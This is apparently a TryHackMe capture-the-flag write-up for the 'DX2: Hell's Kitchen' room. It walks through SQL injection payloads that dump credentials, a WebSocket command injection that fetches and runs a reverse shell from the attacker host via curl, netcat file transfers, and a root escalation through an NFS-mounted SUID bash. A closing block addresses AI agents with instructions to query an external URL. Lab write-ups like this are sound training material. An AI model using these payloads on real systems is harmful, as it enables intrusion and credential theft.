# DX2: Hell's Kitchen

{% embed url="<https://tryhackme.com/r/room/dx2hellskitchen>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports, `80` and `4346`. A subsequent service and default script scan tells us that both are web servers.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ nmap -p- dx2.thm -T4                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 14:02 EDT
Nmap scan report for dx2.thm (10.10.80.2)
Host is up (0.038s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
4346/tcp open  elanlm

Nmap done: 1 IP address (1 host up) scanned in 123.28 seconds
                                                                                                                                                                           
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ nmap -sV -sC -p 80,4346 dx2.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 14:06 EDT
Nmap scan report for dx2.thm (10.10.80.2)
Host is up (0.065s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http
|_http-title: Welcome to the 'Ton!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     content-length: 859
|     date: Fri, 19 Jul 2024 18:06:46 GMT
|     <!DOCTYPE html>
|     <html>
...
|     <script src="static/check-roo
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     content-length: 0
|     date: Fri, 19 Jul 2024 18:06:46 GMT
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     content-length: 0
|     connection: close
|     date: Fri, 19 Jul 2024 18:06:46 GMT
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     content-length: 0
|     connection: close
|_    date: Fri, 19 Jul 2024 18:06:46 GMT
4346/tcp open  elanlm?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 408 Request Timeout
|     content-length: 0
|     connection: close
|     date: Fri, 19 Jul 2024 18:06:51 GMT
|   GetRequest: 
|     HTTP/1.0 200 OK
|     content-length: 11063
|     date: Fri, 19 Jul 2024 18:06:51 GMT
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>NYCCOM.USERS.PUB</title>
|     <style>
...
```

We start with the web server on port `80`. It is a hotel booking site with a possibility to book a room, view a guestbook and learn more about the `'ton` in the imprint.

<figure><img src="/files/NTzQEo8js1NOkozjh8u7" alt=""><figcaption></figcaption></figure>

In the guestbook we find some long-term guests, these might be interesting. On further browsing of the site, we were unable to make any further superficial findings. It was not possible to book a room as the hotel is already fully booked.

<figure><img src="/files/tFCt85D7LnVpUm2v9kjQ" alt=""><figcaption></figcaption></figure>

We had no success with a Gobuster scan to determine further directories and times. We'll take a closer look at the source. For the sake of clarity, we use cURL for this.

On the index page there is a script `/static/check-rooms.js`. This checks the availability of rooms using the API call `/api/rooms-available`. If rooms are still available, it redirects to `/new-booking`. So let's take a closer look at `/new-booking`.

<figure><img src="/files/nFPEtDfci9rJLvaKMw5m" alt=""><figcaption></figcaption></figure>

Rooms can be booked under `/new-booking`. However, the form for this is not visible. Furthermore, a script `/static/new-booking.js` is embedded. Let's take another look at this.

<figure><img src="/files/wyS5l2cgYAMiXvHSEMLT" alt=""><figcaption></figcaption></figure>

The script is used to retrieve booking information via the API endpoint `/api/booking-info?booking_key=BOOKING_KEY`. The `BOOKING_KEY` is taken from a cookie set by the server.

<figure><img src="/files/HPtlosnO0cSeJ66onk6R" alt=""><figcaption></figcaption></figure>

We pull the `BOOKING_KEY` from the browser's storage and see that it is encoded.

<figure><img src="/files/whrd1YZe5nYJMBKXU7ep" alt=""><figcaption></figcaption></figure>

This key is `base58` encoded and actually contains the information `booking_id:<7-digit-number>`.

<figure><img src="/files/o454ezXDQXEfuMez3KxM" alt=""><figcaption></figcaption></figure>

If we make an API access with the key we already have, we only get the response not found. The first thought was to brute-force the IDs in the hope of getting more information than just the room number and number of nights. Unfortunately, this is a fallacy and not feasible, because every single request takes up to a second. But more on this later in the next section.

We query for the ID we have in the cookie, but it only returns a `not found`. Further reloads on `/new-booking` results into different cookies which all gives a `not found`.

<figure><img src="/files/pmlYznkLK9y6a5F32Lfv" alt=""><figcaption></figcaption></figure>

Before we continue, we will look at the web server at port `4346`, as we are still in the initial reconnaissance phase.

On the index page, we find a login to NYComm again. Usernames or passwords cannot be enumerated due to the generalized feedback. We also have no success with the users we have found in the guestbook. The source does not tell us anymore.

<figure><img src="/files/02okSuoAcyvi5K1GIMmK" alt=""><figcaption></figcaption></figure>

However, we find two interesting endpoints using Gobuster: `/mail` and `/ws`. Before the room was patched, it was possible to directly further enumerate and exploit `/ws` without authentication, but more on that later.

<figure><img src="/files/ZqVqgYi4cE6Aes0p6b15" alt=""><figcaption></figcaption></figure>

## Access to NYComm

We go back to the hotel page, the booking page `/new-booking`. And take a closer look at the end point `/api/booking-info`.

<figure><img src="/files/bfYRIk318oXsC1VEfugO" alt=""><figcaption></figcaption></figure>

Let's try to mess around with the parameter. Maybe letters give another result.

<figure><img src="/files/hCcfVCUvmXtNRwnoGm2e" alt=""><figcaption></figcaption></figure>

Again `not found`. Is that good or bad?

<figure><img src="/files/amutceKATyoG6qPDdqd8" alt=""><figcaption></figcaption></figure>

Let's try to test it with the simplest SQL Injection the letter `'`.

<figure><img src="/files/wcuZnzRbmjoC3wzEfPv7" alt=""><figcaption></figcaption></figure>

Very good, this time a `bad request`. Doesn't necessarily mean that SQL Injection works here, but we already have a different result.

<figure><img src="/files/WxEimCFNNfhq0IxSnMUX" alt=""><figcaption></figcaption></figure>

Let's try the infamous payload `' OR 1=1 -- -`.

You can find out why you shouldn't necessarily use this in the real world here:

{% embed url="<https://tryhackme.com/r/room/lessonlearned>" %}

<figure><img src="/files/Jzr9ss0cAQhKD3GtJPsV" alt=""><figcaption></figcaption></figure>

And we get a `not found`. Interesting. SQL Injection seems to work here, otherwise it should have given a `bad request` for special characters. Perhaps there are simply no bookings. But we might have an SQL injection, which is very good. Every response with `not found` could therefore be a valid query. Let's see if we can enumerate the database and thus retrieve the data.

<figure><img src="/files/OOjTuO9DXxi8dj5NaasL" alt=""><figcaption></figcaption></figure>

We use `order by` to enumerate the number of rows of that table we are facing. We work our way up slowly and increase the count by one at a time. From `order by 3` we receive the response `bad request`. We are therefore dealing with a table with only two columns.

```
booking_id:1' order by 1 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjjrjUc9Qp'
```

```
booking_id:2' order by 2 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjkMcegdwS'
```

```
booking_id:3' order by 3 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjkrVpm8U4'
```

```
booking_id:4' order by 4 -- -
curl 'http://dx2.thm/api/booking-info?booking_key=5UBbpHLSVdeXKovifsoS1Lk2ufp6BDXjmMNzqczg'
```

<figure><img src="/files/jFeLBSUlSOCq9RGZQ3yM" alt=""><figcaption></figcaption></figure>

We do a union select with integer values and get a response, this time neither `not found` nor `bad request`. SQL Injection is confirmed!

```
booking_id:1' UNION SELECT 1,2 -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=ApfkkDrFctMBrXvW3fJPqtgiyDhrqKLGAWqaQpgwBY91n3Pa'
{"room_num":"1","days":"2"}  
```

<figure><img src="/files/pzrri0oDKYmdM9Qof2dF" alt=""><figcaption></figcaption></figure>

Next, we need to enumerate the database version of the database to determine the appropriate SQL commands to enumerate the entire database. We try payloads like `@@Version`, `Version()` or `sqlite_version()`. With `sqlite_version()` we get the version, and now we know that it is a `SQLite database`.

```
booking_id:1' UNION SELECT 1,sqlite_version() -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=2DM1mNyoCy8z33ctQNHz7tsjQhQwGGJ7BfAkBoWA2fLSzeW1rezWoJm7LdfsGxVyg8EnY'
{"room_num":"1","days":"3.42.0"}    
```

<figure><img src="/files/H7PKGAgItPrsPdqr3wI0" alt=""><figcaption></figcaption></figure>

### Manual Approach

For further enumeration, we now use `PayloadsAllTheThings` SQLite Payloads:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#integerstring-based---extract-table-name>" %}

We determine the database structure. The following payload unfortunately only gives us information about the current table we are using. But it is also not suitable for the version we are using.

```
booking_id:1' UNION SELECT 1,sql FROM sqlite_schema -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=3fcdDXstvQBMjWHxTTY4rSpJ6j94tbFcTa7mQHUhBQKPjaSNqvhXzbC5knNsCQxwVfve8CVBUgAQk'
{"room_num":"1","days":"CREATE TABLE bookings_temp (booking_id TEXT, room_num TEXT, days TEXT)"}    
```

<figure><img src="/files/iVFbj00eE8rpI8yBK2G4" alt=""><figcaption></figcaption></figure>

Using the `Integer/String based - Extract table name` we get the structure. We have the tables `email_access`, `reservations` and `booking_temp`.

```
booking_id:1' UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=3HN9EcFJMeWBq54x2Tk9DEGmpUKqvuGUDMnicRgmKLtQCKGoDqqz3iCpif7zzSjFD3qmzCJjZCP1uBpnTEsvgSs4oSALTFZ5FiRyV5aJfBz2MSBKDr5tk2nxZ3tYduYKgRvgakxTrRzntzzmdV4bmM1RVnzUCZAeVTocrhWZBuH428'
{"room_num":"1","days":"email_access,reservations,bookings_temp"}     
```

<figure><img src="/files/vhvx4HxhiUCQCXe15rq3" alt=""><figcaption></figcaption></figure>

We can now use the table names to determine the columns of each table via `Integer/String based - Extract column name`. We are interested in the table `email_access`, because this could contain credentials.&#x20;

We get the columns names `guest_name`, `email_username` and `email_password` from `email_acccess`.

```
booking_id:1' UNION SELECT 1,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='email_access' -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=ACnMHD6J1XxN7kQu7LfMQWxJfpuVYz2wM2CXcUt398ns3iDxcvLbJ7mcbRKsN1Uk3p8MDfdmnsunVpCev7yTL4AaS7zvCz6ZtckRNq6yVA49Uy2QT4Rx7LKXTdpJiM8QsdNHpFuyma6Ugtkygvyka7ZQT2C3P7tQ' 
{"room_num":"1","days":"CREATE TABLE email_access (guest_name TEXT, email_username TEXT, email_password TEXT)"} 
```

<figure><img src="/files/F7V49J4vjTkmwzWdfOZD" alt=""><figcaption></figcaption></figure>

Now we can simply pull the information from the table and find a password for the user `pdenton`.

```
booking_id:1' UNION SELECT group_concat(email_username),group_concat(email_password) FROM email_access -- -
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dx2]
└─$ curl 'http://dx2.thm/api/booking-info?booking_key=e7Zicyo9Kq2pk6Ta8E7kEFnsVi7p2VAXKYEfVHZGpseKw9x3o8pAxGhdUhy6EYJanhRv9aMwyu8CKq9maeLfk8QHjEALv2j2B8WLyWypECM8R7bWhWBqf4GpXnyAcicrNuza7Qeb7m4riuWuWc'
{"room_num":"NEVER LOGGED IN,NEVER LOGGED IN,NEVER LOGGED IN,pdenton,NEVER LOGGED IN,NEVER LOGGED IN","days":",,,<REDACTED>,,"}     
```

<figure><img src="/files/Xt5Mb8KNV49cnJ61zH8r" alt=""><figcaption></figcaption></figure>

### Automatic Approach

This part of the challenge can also be solved using SQLMap, but we need a tamper script that does the parameter encoding for us. **0day** has kindly provided me with his script to share it here. Thank you very much!

{% code title="dx2\_tamper.py" lineNumbers="true" %}

```python
from lib.core.enums import PRIORITY
import base58

__priority__ = PRIORITY.HIGHEST

def tamper(payload, **kwargs):
    """
    Encode the payload with base58 :)
    """
    if payload:
        prefixed_payload = f"booking_id:{payload}"
        encoded_payload = base58.b58encode(prefixed_payload.encode()).decode()
        return encoded_payload
    return payload
```

{% endcode %}

We create the script and an empty `__init__.py` file containing the tamper script.&#x20;

<figure><img src="/files/HYWOguOywXgUxiUwEvR3" alt=""><figcaption></figcaption></figure>

For the automated approach, however, we assume that we know the basics such as the type of database and the indicator for a successful SQL injection. This is the message `not found` here. With `--string` option we specify a string that SQLMap should look for in the HTTP response to verify the existence of a successful SQL injection.

```bash
sqlmap -u "http://dx2.thm/api/booking-info?booking_key=" -p "booking_key" --tamper=dx2_tamper.py --dbms=sqlite --technique=U --string="not found" --random-agent --level=5 --risk=3 --dump
```

<figure><img src="/files/0G3yDNn5p8b3PL0S4UBt" alt=""><figcaption></figcaption></figure>

### Accessing NYComm

We use the credentials found to log in to `dx2.thm:4346` and are successful.

<figure><img src="/files/j6OyALy1W6j2wbchmj41" alt=""><figcaption></figcaption></figure>

We can read mails, but there is no flag in the first place.

<figure><img src="/files/wIyInOW97UTTgOEuSZ9m" alt=""><figcaption></figcaption></figure>

When looking at the source, we find a minified JavaScript.

<figure><img src="/files/WAHKg5Zem0Ua3nY8LE0k" alt=""><figcaption></figcaption></figure>

We use `Beautifier.io` to make it readable.

{% embed url="<https://beautifier.io/>" %}

Two things happen here, but we'll concentrate on the first one first. The script adds click event listeners to email rows, which, upon selection, fetch and display the email content from the `/api/message` endpoint using the email's `message_id`. Additionally, a Web Socket connection is established to update the time display and send the local timezone every second.<br>

{% code title="NYComm.js" lineNumbers="true" %}

```javascript
let elems = document.querySelectorAll(".email_list .row");
for (var i = 0; i < elems.length; i++) {
    elems[i].addEventListener("click", (e => {
        document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
        let t = e.target.parentElement.getAttribute("data-id"),
            n = e.target.parentElement.querySelector(".col_from").innerText,
            r = e.target.parentElement.querySelector(".col_subject").innerText;
        document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
            document.querySelector("#email_content").innerText = atob(e)
        }))
    })), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
        e.preventDefault(), window.location.href = "/"
    }))
}
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
```

{% endcode %}

We access the endpoint `/api/message?message_id=` and go through individual IDs. We get a text in base64. IDOR is possible.

```
fetch("/api/message?message_id=" + t)
```

<figure><img src="/files/DIPvwTKCpA3iGojfTz4p" alt=""><figcaption></figcaption></figure>

Decoding the text for `message_id=1` we get the message after logging in.

<figure><img src="/files/DUOJACOga6QYhE7vu0eT" alt=""><figcaption></figcaption></figure>

In the message with `message_id=3`, we find the first flag, the web flag.

<figure><img src="/files/GmPFTY6oAsvXdZf87A2p" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PAYPZjhUCpyhCxr2295M" alt=""><figcaption></figcaption></figure>

## Shell as gilbert

Now to the second part of the minified JavaScript.

The script furthermore establishes a Web Socket connection to the server using the `ws://${location.host}/ws` URI, which updates the displayed time in real-time.&#x20;

Until the patch it was possible to use the web socket without authentication (unintended), this is no longer possible. I had a script for this, but could not implement the authentication with the ID that is given after the login. Instead, we can access the web socket directly via the console after logging in.

<pre class="language-javascript" data-title="NYComm.js" data-line-numbers><code class="lang-javascript">let elems = document.querySelectorAll(".email_list .row");
for (var i = 0; i &#x3C; elems.length; i++) {
    elems[i].addEventListener("click", (e => {
        document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
        let t = e.target.parentElement.getAttribute("data-id"),
            n = e.target.parentElement.querySelector(".col_from").innerText,
            r = e.target.parentElement.querySelector(".col_subject").innerText;
        document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
            document.querySelector("#email_content").innerText = atob(e)
        }))
    })), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
        e.preventDefault(), window.location.href = "/"
    }))
}
<strong>const wsUri = `ws://${location.host}/ws`;
</strong>socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
</code></pre>

```
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
```

With `socket.send("example")` we can send messages to the socket, similar to the JavaScript we found. After a bit of trial and error, we find a possibility for command injection using command substitution. Unfortunately, the output is minimal and limited in its output, but we can see at the top left corner that we are probably in the `/` directory, `bin` is listed. Unfortunately, the feedback keeps updating, so you have to pay close attention to what is happening in the top left corner.

<figure><img src="/files/dxCmrUB32UbLkponqcgn" alt=""><figcaption></figcaption></figure>

A lot of time was spent here, because the initial assumption was that some commands would be filtered, since the output `Invalid` occurred with the usual payloads for reverse shell. Here we first tried to get further via obfuscation of the payload, but this was not the right way. But when we tried the binaries such as `nc` or `busybox` individually, there was no restriction, but after further testing we see that the response `Invalid` comes after a certain length of the payload. So we are limited in length.

As a workaround, we can bring the shell to the system using cURL and execute it directly afterwards. To do this, we select the smallest possible query.

<figure><img src="/files/msm1UsGx9Vpp7LuMPH8G" alt=""><figcaption></figcaption></figure>

We write a `busybox` reverse shell in s and deploy it with our python web server.

<figure><img src="/files/tjyYzu1cwwipM89QryNK" alt=""><figcaption></figcaption></figure>

We set up a listener. Unfortunately, not all ports are open, as you might expect from the notice, we try `443` and are successful.

<figure><img src="/files/Ibia4S0aTuoEa6oxGOWI" alt=""><figcaption></figcaption></figure>

Next, send the payload:

`socket.send("$(curl 10.8.211.1/s|bash)")`

<figure><img src="/files/NBEUjTsZBTJLS6zRpiQQ" alt=""><figcaption></figcaption></figure>

The reverse shell script is downloaded,...

<figure><img src="/files/RVpnZeOndZy3EZ5jdAfH" alt=""><figcaption></figcaption></figure>

and executed. We are the user `gilbert`, but cannot find the user flag. The next thing we do is upgrade the reverse shell, see: <https://0xffsec.com/handbook/shells/full-tty/>

<figure><img src="/files/IPlHzK02p2kqai0TXFON" alt=""><figcaption></figcaption></figure>

In the notes in the home directory, we find `gilbert`'s password. We can now run sudo -l and see that it can retrieve the Uncomplicated Firewall status.

<figure><img src="/files/GCMxMO3KbrN9A8Pfw5wa" alt=""><figcaption></figcaption></figure>

Only ports `80` and `443` are actually enabled, which will be interesting later.

<figure><img src="/files/N6LN9oKU3nGpM5AudCpZ" alt=""><figcaption></figcaption></figure>

## Shell as sandra

We also find a note from `sandra`, `dad.txt`, in which she writes that she has filed a note with the server.

<figure><img src="/files/yMGJGmsZJoVKHphZPIiA" alt=""><figcaption></figcaption></figure>

We use find and search for files that belong to Sandra. We find the note `/srv/.dad`, which belongs to `sandra` but can be read by `gilbert`.

<figure><img src="/files/cfMcZrhhczliTLeArAfV" alt=""><figcaption></figcaption></figure>

In this note we find the password of `sandra`.

<figure><img src="/files/4vMmrltEHTN5CTqtblaf" alt=""><figcaption></figcaption></figure>

We change the user to `sandra` and find the user flag in the home directory of `sandra`.

<figure><img src="/files/UNXPObYbiFDC0gFju3aV" alt=""><figcaption></figcaption></figure>

Here, too, we find notes.

<figure><img src="/files/516wfB0sOTKbzeDBqtbu" alt=""><figcaption></figcaption></figure>

Furthermore, `sandra` is able to switch off the web server on port 80, we will keep this in mind.

<figure><img src="/files/cGxLkq79nnc6oxwHtVcV" alt=""><figcaption></figcaption></figure>

## Shell as jojo

In `sandra`'s home directory there is a Pictures folder, in this folder there is a picture `boss.jpg`. Let's take a look at what might be hiding here. To do this, we need to transfer it to our machine.

<figure><img src="/files/q8I26bI0zvfoJBiwZ63n" alt=""><figcaption></figcaption></figure>

We use the nc tool to transfer the file:

{% embed url="<https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/>" %}

We remember that only port `80` and `443` are released. We use port `443` for transmission.

<figure><img src="/files/OYjR7woALNd8P59DPft5" alt=""><figcaption></figcaption></figure>

First we issue the following command on our attacker machine to wait and receive for incoming connection on `443` and store the received data into `boss.jpg`.

```
nc -l -p 443 > boss.jpg
```

<figure><img src="/files/SA4tsSxx5mHJVZs1XCp4" alt=""><figcaption></figcaption></figure>

On the victim machine, we now transfer the contents of the file to `443` using the following command:

```
nc -w 3 10.8.211.1 443 < boss.jpg
```

<figure><img src="/files/MbkBkL4KvuHd0A4AcSRn" alt=""><figcaption></figcaption></figure>

In the picture we find a text, this is the password for the user `jojo`.

<figure><img src="/files/hwmbXmNeb16GFpcDrEqc" alt=""><figcaption></figcaption></figure>

We switch to the user `jojo` using the password from the picture and find another note about NFS.

<figure><img src="/files/4s4NsgaIyN6gPrkFpjIq" alt=""><figcaption></figcaption></figure>

## Shell as root

As jojo we can execute `/usr/sbin/mount.nfs`. We are therefore able to mount an NFS share. The idea to extend our privileges to root is to provide an NFS as attacker, mount the NFS, copy the binary `/bin/bash` of the victim into it (to take dependencies into account) and set the SUID bit as `root` at the attacker machine. This binary can then be executed on the victim system in the context of `root`, giving us a root shell.

<figure><img src="/files/8Nr7C7VLEYLnFJDxIitx" alt=""><figcaption></figcaption></figure>

### Setup NFS on attacker machine

We first set up the NFS on our attacker machine. Make sure you have installed NFS:

```
sudo apt update
sudo apt install nfs-kernel-server
```

We create the directory `/srv/nfs/shared`, set its ownership to the `nobody` user and `nogroup` group, and set the permissions to allow read and execute access to everyone, and write access to the owner.

```
sudo mkdir -p /srv/nfs/shared
sudo chown nobody:nogroup /srv/nfs/shared
sudo chmod 755 /srv/nfs/shared
```

We add `*(rw,sync,no_subtree_check)` to `/etc/exports`.

The line `/srv/nfs/shared *(rw,sync,no_subtree_check)` in `/etc/exports` does the following:

* **/srv/nfs/shared**: Exports this directory.
* **\***: Allows all clients to access it.
* **rw**: Grants read-write access.
* **sync**: Ensures changes are immediately written to disk.
* **no\_subtree\_check**: Disables subtree checking for better performance.

This setup allows any client to read from and write to `/srv/nfs/shared` with immediate write operations and improved performance.

```
sudo nano /etc/exports
> /srv/mnt/share *(rw,sync,no_subtree_check)
```

With `sudo exportfs -ra` we re-export all directories listed in `/etc/exports`. It ensures that any changes made to the export configurations are applied without needing to restart the NFS service.

```
sudo exportfs -ra
```

Restart NFS Server and binding.

```
sudo systemctl enable nfs-server
sudo systemctl start nfs-server
```

Since we only have ports `80` and `443` available, and `443` is already used for our reverse shell, we have to provide NFS via port `80`, which is actually possible and can be configured in `/etc/nfs.conf` as shown below.

```
sudo nano /etc/nfs.conf
> port=80
```

<figure><img src="/files/woLdNF8LZTmzJSrOoXl4" alt=""><figcaption></figcaption></figure>

We restart the NFS server to apply our changes to the port.

```
sudo systemctl restart nfs-server
sudo systemctl restart rpcbind
```

After the server is running, we can use `rpcinfo -p` to check whether nfs is now offered on port `80`.

<figure><img src="/files/xBxUNlDuC7lQORJhenOm" alt=""><figcaption></figcaption></figure>

### Mount NFS

Now we mount the share, but wait, we still have to release port 80. We can do this with sandra and simply stop the web server running the hotel page.

<figure><img src="/files/qsOHzchztgzN22V93u8U" alt=""><figcaption></figcaption></figure>

We create the directory share in the home folder of `jojo` and issue the following command to mount:

```bash
sudo /usr/sbin/mount.nfs -o port=80 10.8.211.1:/ /home/jojo/share -wv
```

<figure><img src="/files/0NjBB3Gn5WQ3uVpOoAZq" alt=""><figcaption></figcaption></figure>

### Transfer and modify /bin/bash

We do not transfer the /bin/bash of the victim via the NFS because we lack the rights on the victim machine for this. Here we use the nc tool again as already described to transfer this.

```
nc -l -p 443 > bash
```

<figure><img src="/files/De7gM4LiygWL7hRIswKd" alt=""><figcaption></figcaption></figure>

After a very short time, we have the bash in our share:

```
nc -w 3 10.8.211.1 443 < /bin/bash
```

<figure><img src="/files/uaIjeXmqTBsdITLAjdCE" alt=""><figcaption></figcaption></figure>

It is now important when editing the bash binary that we are root, we now make it executable and set the SUID bit.

<figure><img src="/files/eiEuFj8Cs5lNWGewIhJu" alt=""><figcaption></figcaption></figure>

### Exploit

We now see from the victim machine in the share the executable bash with SUID bit set. By executing `./bash -p` in the directory, we now get a root shell and can read the root flag in `/root/root.txt`.

<figure><img src="/files/IlxsE0XUPUUcr2inxUdG" alt=""><figcaption></figcaption></figure>

## Summary

The reconnaissance phase revealed two web servers on ports `80` and `4346`. The hotel booking site on port `80` had a vulnerable API endpoint, leading to successful SQL injection, revealing database structure and credentials. Logging into the NYComm portal with these credentials, message IDs disclosed the web flag. Command injection via WebSocket on the same portal provided a shell as `gilbert`. Finding a note with `sandra`'s password, we switched to `sandra` and retrieved the user flag from her home directory. In `sandra`'s directory, we found a picture that, when extracted, revealed `jojo`'s password, allowing us to log in as `jojo` and find a note about NFS. By setting up an NFS share on the attacker machine, mounting it on the victim machine, and modifying the `/bin/bash` binary, we gained `root` access and retrieved the root flag.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/dx2-hells-kitchen.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
